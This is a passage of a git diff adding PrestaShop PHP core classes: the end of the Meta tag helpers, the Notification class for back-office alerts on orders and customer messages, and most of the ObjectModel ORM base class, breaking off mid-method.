Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + $row['meta_title'] = $row['meta_title'].' - '.Configuration::get('PS_SHOP_NAME'); + return Meta::completeMetaTags($row, $row['meta_title']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get CMS category meta tags + * + * @since 1.5.0 + * @param int $id_cms_category + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getCmsCategoryMetas($id_cms_category, $id_lang, $page_name) + { + $sql = 'SELECT `meta_title`, `meta_description`, `meta_keywords` + FROM `'._DB_PREFIX_.'cms_category_lang` + WHERE id_lang = '.(int)$id_lang.' + AND id_cms_category = '.(int)$id_cms_category; + if ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + $row['meta_title'] = $row['meta_title'].' - '.Configuration::get('PS_SHOP_NAME'); + return Meta::completeMetaTags($row, $row['meta_title']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * @since 1.5.0 + */ + public static function completeMetaTags($meta_tags, $default_value, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + if (empty($meta_tags['meta_title'])) + $meta_tags['meta_title'] = $default_value.' - '.Configuration::get('PS_SHOP_NAME'); + if (empty($meta_tags['meta_description'])) + $meta_tags['meta_description'] = Configuration::get('PS_META_DESCRIPTION', $context->language->id) ? Configuration::get('PS_META_DESCRIPTION', $context->language->id) : ''; + if (empty($meta_tags['meta_keywords'])) + $meta_tags['meta_keywords'] = Configuration::get('PS_META_KEYWORDS', $context->language->id) ? Configuration::get('PS_META_KEYWORDS', $context->language->id) : ''; + return $meta_tags; + } +} diff --git a/classes/Notification.php b/classes/Notification.php new file mode 100755 index 0000000..0bf7379 --- /dev/null +++ b/classes/Notification.php @@ -0,0 +1,158 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class NotificationCore +{ + public $types; + + public function __construct() + { + $this->types = array('order', 'customer_message', 'customer'); + } + + /** + * getLastElements return all the notifications (new order, new customer registration, and new customer message) + * Get all the notifications + * + * @return array containing the notifications + */ + public function getLastElements() + { + global $cookie; + + $notifications = array(); + $employee_infos = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT id_last_order, id_last_customer_message, id_last_customer + FROM `'._DB_PREFIX_.'employee` + WHERE `id_employee` = '.(int)$cookie->id_employee); + + foreach ($this->types as $type) + $notifications[$type] = Notification::getLastElementsIdsByType($type, $employee_infos['id_last_'.$type]); + + return $notifications; + } + + public function installDb() + { + Db::getInstance(_PS_USE_SQL_SLAVE_)->execute('ALTER TABLE `'._DB_PREFIX_.'employee` + ADD `id_last_order` INT(10) unsigned NOT NULL default "0" + ADD `id_last_customer_message` INT(10) unsigned NOT NULL default "0" + ADD `id_last_message` INT(10) unsigned NOT NULL default "0"'); + } + + /** + * getLastElementsIdsByType return all the element ids to show (order, customer registration, and customer message) + * Get all the element ids + * + * @param string $type contains the field name of the Employee table + * @param integer $id_last_element contains the id of the last seen element + * @return array containing the notifications + */ + public static function getLastElementsIdsByType($type, $id_last_element) + { + switch ($type) + { + case 'order': + $sql = ' + SELECT o.`id_order`, o.`id_customer`, o.`total_paid`, o.`id_currency`, c.`firstname`, c.`lastname` + FROM `'._DB_PREFIX_.'orders` as o + LEFT JOIN `'._DB_PREFIX_.'customer` as c ON (c.`id_customer` = o.`id_customer`) + WHERE `id_order` > '.(int)$id_last_element. + Shop::addSqlRestriction(false, 'o').' + ORDER BY `id_order` DESC + '; + break; + + case 'customer_message': + $sql = ' + SELECT c.`id_customer_message`, ct.`id_customer`, ct.`id_customer_thread`, ct.`email` + FROM `'._DB_PREFIX_.'customer_message` as c + LEFT JOIN `'._DB_PREFIX_.'customer_thread` as ct ON (c.`id_customer_thread` = ct.`id_customer_thread`) + WHERE c.`id_customer_message` > '.(int)$id_last_element.' + AND c.`id_employee` = 0 + AND ct.id_shop IN ('.implode(', ', Shop::getContextListShopID()).') + ORDER BY c.`id_customer_message` DESC + '; + break; + default: + $sql = ' + SELECT t.`id_'.bqSQL($type).'`, t.* + FROM `'._DB_PREFIX_.bqSQL($type).'` t + WHERE t.`deleted` = 0 AND t.`id_'.bqSQL($type).'` > '.(int)$id_last_element. + Shop::addSqlRestriction(false, 't').' + ORDER BY t.`id_'.bqSQL($type).'` DESC + '; + break; + } + + $json = array(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + foreach ($result as $value) + { + $customer_name = ''; + if (isset($value['firstname']) && isset($value['lastname'])) + $customer_name = Tools::safeOutput($value['firstname'].' '.$value['lastname']); + else if (isset($value['email'])) + $customer_name = Tools::safeOutput($value['email']); + + $json[] = array( + 'id_order' => ((!empty($value['id_order'])) ? (int)$value['id_order'] : 0), + 'id_customer' => ((!empty($value['id_customer'])) ? (int)$value['id_customer'] : 0), + 'id_customer_message' => ((!empty($value['id_customer_message'])) ? (int)$value['id_customer_message'] : 0), + 'id_customer_thread' => ((!empty($value['id_customer_thread'])) ? (int)$value['id_customer_thread'] : 0), + 'total_paid' => ((!empty($value['total_paid'])) ? Tools::displayPrice((float)$value['total_paid'], (int)$value['id_currency'], false) : 0), + 'customer_name' => $customer_name + ); + } + + return $json; + } + + /** + * updateEmployeeLastElement return 0 if the field doesn't exists in Employee table. + * Updates the last seen element by the employee + * + * @param string $type contains the field name of the Employee table + * @return boolean if type exists or not + */ + public function updateEmployeeLastElement($type) + { + global $cookie; + + if (in_array($type, $this->types)) + // We update the last item viewed + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'employee` + SET `id_last_'.bqSQL($type).'` = ( + SELECT IFNULL(MAX(`id_'.$type.'`), 0) + FROM `'._DB_PREFIX_.(($type == 'order') ? bqSQL($type).'s' : bqSQL($type)).'` + ) + WHERE `id_employee` = '.(int)$cookie->id_employee); + else + return false; + } +} diff --git a/classes/ObjectModel.php b/classes/ObjectModel.php new file mode 100755 index 0000000..ebe12dc --- /dev/null +++ b/classes/ObjectModel.php @@ -0,0 +1,1599 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class ObjectModelCore +{ + /** + * List of field types + */ + const TYPE_INT = 1; + const TYPE_BOOL = 2; + const TYPE_STRING = 3; + const TYPE_FLOAT = 4; + const TYPE_DATE = 5; + const TYPE_HTML = 6; + const TYPE_NOTHING = 7; + + /** + * List of data to format + */ + const FORMAT_COMMON = 1; + const FORMAT_LANG = 2; + const FORMAT_SHOP = 3; + + /** + * List of association types + */ + const HAS_ONE = 1; + const HAS_MANY = 2; + + /** @var integer Object id */ + public $id; + + /** @var integer lang id */ + protected $id_lang = null; + + protected $id_shop = null; + + public $id_shop_list = null; + + protected $get_shop_from_context = true; + + protected static $fieldsRequiredDatabase = null; + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['table'] property instead + */ + protected $table; + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['primary'] property instead + */ + protected $identifier; + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsRequired = array(); + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsSize = array(); + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsValidate = array(); + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsRequiredLang = array(); + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsSizeLang = array(); + + /** + * @deprecated 1.5.0 This property shouldn't be overloaded anymore in class, use static $definition['fields'] property instead + */ + protected $fieldsValidateLang = array(); + + /** + * @deprecated 1.5.0 + */ + protected $tables = array(); + + /** @var array tables */ + protected $webserviceParameters = array(); + + /** @var string path to image directory. Used for image deletion. */ + protected $image_dir = null; + + /** @var string file type of image files. Used for image deletion. */ + protected $image_format = 'jpg'; + + /** + * @var array Contain object definition + * @since 1.5.0 + */ + public static $definition = array(); + + /** + * @var array Contain current object definition + */ + protected $def; + + /** + * @var array List of specific fields to update (all fields if null) + */ + protected $update_fields = null; + + /** + * @var Db An instance of the db in order to avoid calling Db::getInstance() thousands of time + */ + protected static $db = false; + + /** + * Returns object validation rules (fields validity) + * + * @param string $class Child class name for static use (optional) + * @return array Validation rules (fields validity) + */ + public static function getValidationRules($class = __CLASS__) + { + $object = new $class(); + return array( + 'required' => $object->fieldsRequired, + 'size' => $object->fieldsSize, + 'validate' => $object->fieldsValidate, + 'requiredLang' => $object->fieldsRequiredLang, + 'sizeLang' => $object->fieldsSizeLang, + 'validateLang' => $object->fieldsValidateLang, + ); + } + + /** + * Build object + * + * @param int $id Existing object id in order to load object (optional) + * @param int $id_lang Required if object is multilingual (optional) + * @param int $id_shop ID shop for objects with multishop on langs + */ + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + if (!ObjectModel::$db) + ObjectModel::$db = Db::getInstance(); + + $this->def = ObjectModel::getDefinition($this); + $this->setDefinitionRetrocompatibility(); + + if ($id_lang !== null) + $this->id_lang = (Language::getLanguage($id_lang) !== false) ? $id_lang : Configuration::get('PS_LANG_DEFAULT'); + + if ($id_shop && $this->isMultishop()) + { + $this->id_shop = (int)$id_shop; + $this->get_shop_from_context = false; + } + + if ($this->isMultishop() && !$this->id_shop) + $this->id_shop = Context::getContext()->shop->id; + + if (!Validate::isTableOrIdentifier($this->def['primary']) || !Validate::isTableOrIdentifier($this->def['table'])) + throw new PrestaShopException('Identifier or table format not valid for class '.get_class($this)); + + if ($id) + { + // Load object from database if object id is present + $cache_id = 'objectmodel_'.$this->def['classname'].'_'.(int)$id.'_'.(int)$id_shop.'_'.(int)$id_lang; + if (!Cache::isStored($cache_id)) + { + $sql = new DbQuery(); + $sql->from($this->def['table'], 'a'); + $sql->where('a.'.$this->def['primary'].' = '.(int)$id); + + // Get lang informations + if ($id_lang) + { + $sql->leftJoin($this->def['table'].'_lang', 'b', 'a.'.$this->def['primary'].' = b.'.$this->def['primary'].' AND b.id_lang = '.(int)$id_lang); + if ($this->id_shop && !empty($this->def['multilang_shop'])) + $sql->where('b.id_shop = '.$this->id_shop); + } + + // Get shop informations + if (Shop::isTableAssociated($this->def['table'])) + $sql->leftJoin($this->def['table'].'_shop', 'c', 'a.'.$this->def['primary'].' = c.'.$this->def['primary'].' AND c.id_shop = '.(int)$this->id_shop); + if ($object_datas = ObjectModel::$db->getRow($sql)) + { + if (!$id_lang && isset($this->def['multilang']) && $this->def['multilang']) + { + $sql = 'SELECT * FROM `'.pSQL(_DB_PREFIX_.$this->def['table']).'_lang` + WHERE `'.$this->def['primary'].'` = '.(int)$id + .(($this->id_shop && $this->isLangMultishop()) ? ' AND `id_shop` = '.$this->id_shop : ''); + if ($object_datas_lang = ObjectModel::$db->executeS($sql)) + foreach ($object_datas_lang as $row) + foreach ($row as $key => $value) + { + if (array_key_exists($key, $this) && $key != $this->def['primary']) + { + if (!isset($object_datas[$key]) || !is_array($object_datas[$key])) + $object_datas[$key] = array(); + $object_datas[$key][$row['id_lang']] = $value; + } + } + } + Cache::store($cache_id, $object_datas); + } + } + else + $object_datas = Cache::retrieve($cache_id); + + if ($object_datas) + { + $this->id = (int)$id; + foreach ($object_datas as $key => $value) + if (array_key_exists($key, $this)) + $this->{$key} = $value; + } + } + + if (!is_array(self::$fieldsRequiredDatabase)) + { + $fields = $this->getfieldsRequiredDatabase(true); + if ($fields) + foreach ($fields as $row) + self::$fieldsRequiredDatabase[$row['object_name']][(int)$row['id_required_field']] = pSQL($row['field_name']); + else + self::$fieldsRequiredDatabase = array(); + } + } + + /** + * Prepare fields for ObjectModel class (add, update) + * All fields are verified (pSQL, intval...) + * + * @return array All object fields + */ + public function getFields() + { + $this->validateFields(); + $fields = $this->formatFields(self::FORMAT_COMMON); + + // For retro compatibility + if (Shop::isTableAssociated($this->def['table'])) + $fields = array_merge($fields, $this->getFieldsShop()); + + // Ensure that we get something to insert + if (!$fields && isset($this->id) && Validate::isUnsignedId($this->id)) + $fields[$this->def['primary']] = $this->id; + return $fields; + } + + /** + * Prepare fields for multishop + * Fields are not validated here, we considere they are already validated in getFields() method, this + * not the best solution but this is the only one possible for retro compatibility. + * + * @since 1.5.0 + * @return array All object fields + */ + public function getFieldsShop() + { + $fields = $this->formatFields(self::FORMAT_SHOP); + if (!$fields && isset($this->id) && Validate::isUnsignedId($this->id)) + $fields[$this->def['primary']] = $this->id; + return $fields; + } + + /** + * Prepare multilang fields + * + * @since 1.5.0 + * @return array + */ + public function getFieldsLang() + { + // Retrocompatibility + if (method_exists($this, 'getTranslationsFieldsChild')) + return $this->getTranslationsFieldsChild(); + + $this->validateFieldsLang(); + $is_lang_multishop = $this->isLangMultishop(); + + $fields = array(); + if ($this->id_lang === null) + foreach (Language::getLanguages(false) as $language) + { + $fields[$language['id_lang']] = $this->formatFields(self::FORMAT_LANG, $language['id_lang']); + $fields[$language['id_lang']]['id_lang'] = $language['id_lang']; + if ($this->id_shop && $is_lang_multishop) + $fields[$language['id_lang']]['id_shop'] = (int)$this->id_shop; + } + else + { + $fields = array($this->id_lang => $this->formatFields(self::FORMAT_LANG, $this->id_lang)); + $fields[$this->id_lang]['id_lang'] = $this->id_lang; + if ($this->id_shop && $is_lang_multishop) + $fields[$this->id_lang]['id_shop'] = (int)$this->id_shop; + } + + return $fields; + } + + /** + * @since 1.5.0 + * @param int $type FORMAT_COMMON or FORMAT_LANG or FORMAT_SHOP + * @param int $id_lang If this parameter is given, only take lang fields + * @return array + */ + protected function formatFields($type, $id_lang = null) + { + $fields = array(); + + // Set primary key in fields + if (isset($this->id)) + $fields[$this->def['primary']] = $this->id; + + foreach ($this->def['fields'] as $field => $data) + { + // Only get fields we need for the type + // E.g. if only lang fields are filtered, ignore fields without lang => true + if (($type == self::FORMAT_LANG && empty($data['lang'])) + || ($type == self::FORMAT_SHOP && empty($data['shop'])) + || ($type == self::FORMAT_COMMON && (!empty($data['shop']) || !empty($data['lang'])))) + continue; + + if (is_array($this->update_fields)) + if ((!empty($data['lang']) || !empty($data['shop'])) && (empty($this->update_fields[$field]) || ($type == self::FORMAT_LANG && empty($this->update_fields[$field][$id_lang])))) + continue; + + // Get field value, if value is multilang and field is empty, use value from default lang + $value = $this->$field; + if ($type == self::FORMAT_LANG && $id_lang && is_array($value)) + { + if (!empty($value[$id_lang])) + $value = $value[$id_lang]; + else if (!empty($data['required'])) + $value = $value[Configuration::get('PS_LANG_DEFAULT')]; + else + $value = ''; + } + + // Format field value + $fields[$field] = ObjectModel::formatValue($value, $data['type']); + } + + return $fields; + } + + /** + * Format a data + * + * @param mixed $value + * @param int $type + */ + public static function formatValue($value, $type, $with_quotes = false) + { + switch ($type) + { + case self::TYPE_INT : + return (int)$value; + + case self::TYPE_BOOL : + return (int)$value; + + case self::TYPE_FLOAT : + return (float)str_replace(',', '.', $value); + + case self::TYPE_DATE : + if (!$value) + return '0000-00-00'; + + if ($with_quotes) + return '\''.pSQL($value).'\''; + return pSQL($value); + + case self::TYPE_HTML : + if ($with_quotes) + return '\''.pSQL($value, true).'\''; + return pSQL($value, true); + + case self::TYPE_NOTHING : + return $value; + + case self::TYPE_STRING : + default : + if ($with_quotes) + return '\''.pSQL($value).'\''; + return pSQL($value); + } + } + + /** + * Save current object to database (add or update) + * + * @param bool $null_values + * @param bool $autodate + * @return boolean Insertion result + */ + public function save($null_values = false, $autodate = true) + { + return (int)$this->id > 0 ? $this->update($null_values) : $this->add($autodate, $null_values); + } + + /** + * Add current object to database + * + * @param bool $null_values + * @param bool $autodate + * @return boolean Insertion result + */ + public function add($autodate = true, $null_values = false) + { + if (!ObjectModel::$db) + ObjectModel::$db = Db::getInstance(); + + // @hook actionObject*AddBefore + Hook::exec('actionObjectAddBefore', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'AddBefore', array('object' => $this)); + + // Automatically fill dates + if ($autodate && property_exists($this, 'date_add')) + $this->date_add = date('Y-m-d H:i:s'); + if ($autodate && property_exists($this, 'date_upd')) + $this->date_upd = date('Y-m-d H:i:s'); + + + if (Shop::isTableAssociated($this->def['table'])) + { + $id_shop_list = Shop::getContextListShopID(); + if (count($this->id_shop_list) > 0) + $id_shop_list = $this->id_shop_list; + } + + // Database insertion + if (isset($this->id) && !Tools::getValue('forceIDs')) + unset($this->id); + if (Shop::checkIdShopDefault($this->def['table'])) + $this->id_shop_default = min($id_shop_list); + if (!$result = ObjectModel::$db->insert($this->def['table'], $this->getFields(), $null_values)) + return false; + + // Get object id in database + $this->id = ObjectModel::$db->Insert_ID(); + + // Database insertion for multishop fields related to the object + if (Shop::isTableAssociated($this->def['table'])) + { + $fields = $this->getFieldsShop(); + $fields[$this->def['primary']] = (int)$this->id; + + foreach ($id_shop_list as $id_shop) + { + $fields['id_shop'] = (int)$id_shop; + $result &= ObjectModel::$db->insert($this->def['table'].'_shop', $fields, $null_values); + } + } + + if (!$result) + return false; + + // Database insertion for multilingual fields related to the object + if (!empty($this->def['multilang'])) + { + $fields = $this->getFieldsLang(); + if ($fields && is_array($fields)) + { + $shops = Shop::getCompleteListOfShopsID(); + $asso = Shop::getAssoTable($this->def['table'].'_lang'); + foreach ($fields as $field) + { + foreach (array_keys($field) as $key) + if (!Validate::isTableOrIdentifier($key)) + throw new PrestaShopException('key '.$key.' is not table or identifier, '); + $field[$this->def['primary']] = (int)$this->id; + + if ($asso !== false && $asso['type'] == 'fk_shop') + { + foreach ($shops as $id_shop) + { + $field['id_shop'] = (int)$id_shop; + $result &= ObjectModel::$db->insert($this->def['table'].'_lang', $field); + } + } + else + $result &= ObjectModel::$db->insert($this->def['table'].'_lang', $field); + } + } + } + + // @hook actionObject*AddAfter + Hook::exec('actionObjectAddAfter', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'AddAfter', array('object' => $this)); + + return $result; + } + + /** + * Duplicate current object to database + * + * @return new object + */ + public function duplicateObject() + { + $definition = ObjectModel::getDefinition($this); + + $res = Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.bqSQL($definition['table']).'` + WHERE `'.bqSQL($definition['primary']).'` = '.(int)$this->id + ); + if (!$res) + return false; + unset($res[$definition['primary']]); + + if (!Db::getInstance()->insert($definition['table'], $res)) + return false; + + $object_id = Db::getInstance()->Insert_ID(); + + if ($definition['multilang']) + { + $res = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.bqSQL($definition['table']).'_lang` + WHERE `'.bqSQL($definition['primary']).'` = '.(int)$this->id + ); + + if (!$res) + return false; + + foreach ($res as $row) + { + $row[$definition['primary']] = (int)$object_id; + if (!Db::getInstance()->insert($definition['table'].'_lang', $row)) + return false; + } + } + + $object_duplicated = new $definition['classname']((int)$object_id); + $object_duplicated->duplicateShops((int)$this->id); + + return $object_duplicated; + } + + /** + * Update current object to database + * + * @param bool $null_values + * @return boolean Update result + */ + public function update($null_values = false) + { + if (!ObjectModel::$db) + ObjectModel::$db = Db::getInstance(); + + // @hook actionObject*UpdateBefore + Hook::exec('actionObjectUpdateBefore', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'UpdateBefore', array('object' => $this)); + + $this->clearCache(); + + // Automatically fill dates + if (array_key_exists('date_upd', $this)) + $this->date_upd = date('Y-m-d H:i:s'); + + $id_shop_list = Shop::getContextListShopID(); + if (count($this->id_shop_list) > 0) + $id_shop_list = $this->id_shop_list; + + if (Shop::checkIdShopDefault($this->def['table']) && !$this->id_shop_default) + $this->id_shop_default = min($id_shop_list); + // Database update + if (!$result = ObjectModel::$db->update($this->def['table'], $this->getFields(), '`'.pSQL($this->def['primary']).'` = '.(int)$this->id, 0, $null_values)) + return false; + + // Database insertion for multishop fields related to the object + if (Shop::isTableAssociated($this->def['table'])) + { + $fields = $this->getFieldsShop(); + $fields[$this->def['primary']] = (int)$this->id; + if (is_array($this->update_fields)) + { + $update_fields = $this->update_fields; + $this->update_fields = null; + $all_fields = $this->getFieldsShop(); + $all_fields[$this->def['primary']] = (int)$this->id; + $this->update_fields = $update_fields; + } + else + $all_fields = $fields; + + foreach ($id_shop_list as $id_shop) + { + $fields['id_shop'] = (int)$id_shop; + $all_fields['id_shop'] = (int)$id_shop; + $where = $this->def['primary'].' = '.(int)$this->id.' AND id_shop = '.(int)$id_shop; + + // A little explanation of what we do here : we want to create multishop entry when update is called, but + // only if we are in a shop context (if we are in all context, we just want to update entries that alread exists) + $shop_exists = ObjectModel::$db->getValue('SELECT '.$this->def['primary'].' FROM '._DB_PREFIX_.$this->def['table'].'_shop WHERE '.$where); + if ($shop_exists) + $result &= ObjectModel::$db->update($this->def['table'].'_shop', $fields, $where, 0, $null_values); + else if (Shop::getContext() == Shop::CONTEXT_SHOP) + $result &= ObjectModel::$db->insert($this->def['table'].'_shop', $all_fields, $null_values); + } + } + + // Database update for multilingual fields related to the object + if (isset($this->def['multilang']) && $this->def['multilang']) + { + $fields = $this->getFieldsLang(); + if (is_array($fields)) + { + foreach ($fields as $field) + { + foreach (array_keys($field) as $key) + if (!Validate::isTableOrIdentifier($key)) + throw new PrestaShopException('key '.$key.' is not a valid table or identifier'); + + // If this table is linked to multishop system, update / insert for all shops from context + if ($this->isLangMultishop()) + { + $id_shop_list = Shop::getContextListShopID(); + if (count($this->id_shop_list) > 0) + $id_shop_list = $this->id_shop_list; + foreach ($id_shop_list as $id_shop) + { + $field['id_shop'] = (int)$id_shop; + $where = pSQL($this->def['primary']).' = '.(int)$this->id + .' AND id_lang = '.(int)$field['id_lang'] + .' AND id_shop = '.(int)$id_shop; + + if (ObjectModel::$db->getValue('SELECT COUNT(*) FROM '.pSQL(_DB_PREFIX_.$this->def['table']).'_lang WHERE '.$where)) + $result &= ObjectModel::$db->update($this->def['table'].'_lang', $field, $where); + else + $result &= ObjectModel::$db->insert($this->def['table'].'_lang', $field); + } + } + // If this table is not linked to multishop system ... + else + { + $where = pSQL($this->def['primary']).' = '.(int)$this->id + .' AND id_lang = '.(int)$field['id_lang']; + if (Db::getInstance()->getValue('SELECT COUNT(*) FROM '.pSQL(_DB_PREFIX_.$this->def['table']).'_lang WHERE '.$where)) + $result &= ObjectModel::$db->update($this->def['table'].'_lang', $field, $where); + else + $result &= ObjectModel::$db->insert($this->def['table'].'_lang', $field, $null_values); + } + } + } + } + + // @hook actionObject*UpdateAfter + Hook::exec('actionObjectUpdateAfter', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'UpdateAfter', array('object' => $this)); + + return $result; + } + + /** + * Delete current object from database + * + * @return boolean Deletion result + */ + public function delete() + { + if (!ObjectModel::$db) + ObjectModel::$db = Db::getInstance(); + + // @hook actionObject*DeleteBefore + Hook::exec('actionObjectDeleteBefore', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'DeleteBefore', array('object' => $this)); + + $this->clearCache(); + $result = true; + // Remove association to multishop table + if (Shop::isTableAssociated($this->def['table'])) + { + $id_shop_list = Shop::getContextListShopID(); + if (count($this->id_shop_list)) + $id_shop_list = $this->id_shop_list; + + $result &= ObjectModel::$db->delete($this->def['table'].'_shop', '`'.$this->def['primary'].'`='.(int)$this->id.' AND id_shop IN ('.implode(', ', $id_shop_list).')'); + } + + // Database deletion + $has_multishop_entries = $this->hasMultishopEntries(); + if ($result && !$has_multishop_entries) + $result &= ObjectModel::$db->delete($this->def['table'], '`'.pSQL($this->def['primary']).'` = '.(int)$this->id); + + if (!$result) + return false; + + // Database deletion for multilingual fields related to the object + if (!empty($this->def['multilang']) && !$has_multishop_entries) + $result &= ObjectModel::$db->delete($this->def['table'].'_lang', '`'.pSQL($this->def['primary']).'` = '.(int)$this->id); + + // @hook actionObject*DeleteAfter + Hook::exec('actionObjectDeleteAfter', array('object' => $this)); + Hook::exec('actionObject'.get_class($this).'DeleteAfter', array('object' => $this)); + + return $result; + } + + /** + * Delete several objects from database + * + * @param array $selection + * @return bool Deletion result + */ + public function deleteSelection($selection) + { + $result = true; + foreach ($selection as $id) + { + $this->id = (int)$id; + $result = $result && $this->delete(); + } + return $result; + } + + /** + * Toggle object status in database + * + * @return boolean Update result + */ + public function toggleStatus() + { + // Object must have a variable called 'active' + if (!array_key_exists('active', $this)) + throw new PrestaShopException('property "active" is missing in object '.get_class($this)); + + // Update active status on object + $this->active = !(int)$this->active; + + // Change status to active/inactive + return $this->update(false); + } + + /** + * @deprecated 1.5.0 (use getFieldsLang()) + */ + protected function getTranslationsFields($fields_array) + { + $fields = array(); + + if ($this->id_lang == null) + foreach (Language::getLanguages(false) as $language) + $this->makeTranslationFields($fields, $fields_array, $language['id_lang']); + else + $this->makeTranslationFields($fields, $fields_array, $this->id_lang); + + return $fields; + } + + /** + * @deprecated 1.5.0 + */ + protected function makeTranslationFields(&$fields, &$fields_array, $id_language) + { + $fields[$id_language]['id_lang'] = $id_language; + $fields[$id_language][$this->def['primary']] = (int)$this->id; + if ($this->id_shop && $this->isLangMultishop()) + $fields[$id_language]['id_shop'] = (int)$this->id_shop; + foreach ($fields_array as $k => $field) + { + $html = false; + $field_name = $field; + if (is_array($field)) + { + $field_name = $k; + $html = (isset($field['html'])) ? $field['html'] : false; + } + + /* Check fields validity */ + if (!Validate::isTableOrIdentifier($field_name)) + throw new PrestaShopException('identifier is not table or identifier : '.$field_name); + + // Copy the field, or the default language field if it's both required and empty + if ((!$this->id_lang && isset($this->{$field_name}[$id_language]) && !empty($this->{$field_name}[$id_language])) + || ($this->id_lang && isset($this->$field_name) && !empty($this->$field_name))) + $fields[$id_language][$field_name] = $this->id_lang ? pSQL($this->$field_name, $html) : pSQL($this->{$field_name}[$id_language], $html); + else if (in_array($field_name, $this->fieldsRequiredLang)) + $fields[$id_language][$field_name] = pSQL($this->id_lang ? $this->$field_name : $this->{$field_name}[Configuration::get('PS_LANG_DEFAULT')], $html); + else + $fields[$id_language][$field_name] = ''; + } + } + + /** + * Check for fields validity before database interaction + * + * @param bool $die + * @param bool $error_return + * @return bool|string + */ + public function validateFields($die = true, $error_return = false) + { + foreach ($this->def['fields'] as $field => $data) + { + if (!empty($data['lang'])) + continue; + + if (is_array($this->update_fields) && empty($this->update_fields[$field])) + continue; + + $message = $this->validateField($field, $this->$field); + if ($message !== true) + { + if ($die) + throw new PrestaShopException($message); + return $error_return ? $message : false; + } + } + + return true; + } + + /** + * Check for multilingual fields validity before database interaction + * + * @param bool $die + * @param bool $error_return + * @return bool|string + */ + public function validateFieldsLang($die = true, $error_return = false) + { + foreach ($this->def['fields'] as $field => $data) + { + if (empty($data['lang'])) + continue; + + $values = $this->$field; + if (!is_array($values)) + $values = array($this->id_lang => $values); + if (!isset($values[Configuration::get('PS_LANG_DEFAULT')])) + $values[Configuration::get('PS_LANG_DEFAULT')] = ''; + + foreach ($values as $id_lang => $value) + { + if (is_array($this->update_fields) && empty($this->update_fields[$field][$id_lang])) + continue; + + $message = $this->validateField($field, $value, $id_lang); + if ($message !== true) + { + if ($die) + throw new PrestaShopException($message); + return $error_return ? $message : false; + } + } + } + + return true; + } + + /** + * Validate a single field + * + * @since 1.5.0 + * @param string $field Field name + * @param mixed $value Field value + * @param int $id_lang + * @return bool|string + */ + public function validateField($field, $value, $id_lang = null) + { + $data = $this->def['fields'][$field]; + + // Check if field is required + $required_fields = (isset(self::$fieldsRequiredDatabase[get_class($this)])) ? self::$fieldsRequiredDatabase[get_class($this)] : array(); + if (!$id_lang || $id_lang == Configuration::get('PS_LANG_DEFAULT')) + if (!empty($data['required']) || in_array($field, $required_fields)) + if (Tools::isEmpty($value)) + return 'Property '.get_class($this).'->'.$field.' is empty'; + + // Default value + if (!$value && !empty($data['default'])) + { + $value = $data['default']; + $this->$field = $value; + } + + // Check field values + if (!empty($data['values']) && is_array($data['values']) && !in_array($value, $data['values'])) + return 'Property '.get_class($this).'->'.$field.' has bad value (allowed values are: '.implode(', ', $data['values']).')'; + + // Check field size + if (!empty($data['size'])) + { + $size = $data['size']; + if (!is_array($data['size'])) + $size = array('min' => 0, 'max' => $data['size']); + + $length = Tools::strlen($value); + if ($length < $size['min'] || $length > $size['max']) + return 'Property '.get_class($this).'->'.$field.' length ('.$length.') must be between '.$size['min'].' and '.$size['max']; + } + + // Check field validator + if (!empty($data['validate'])) + { + if 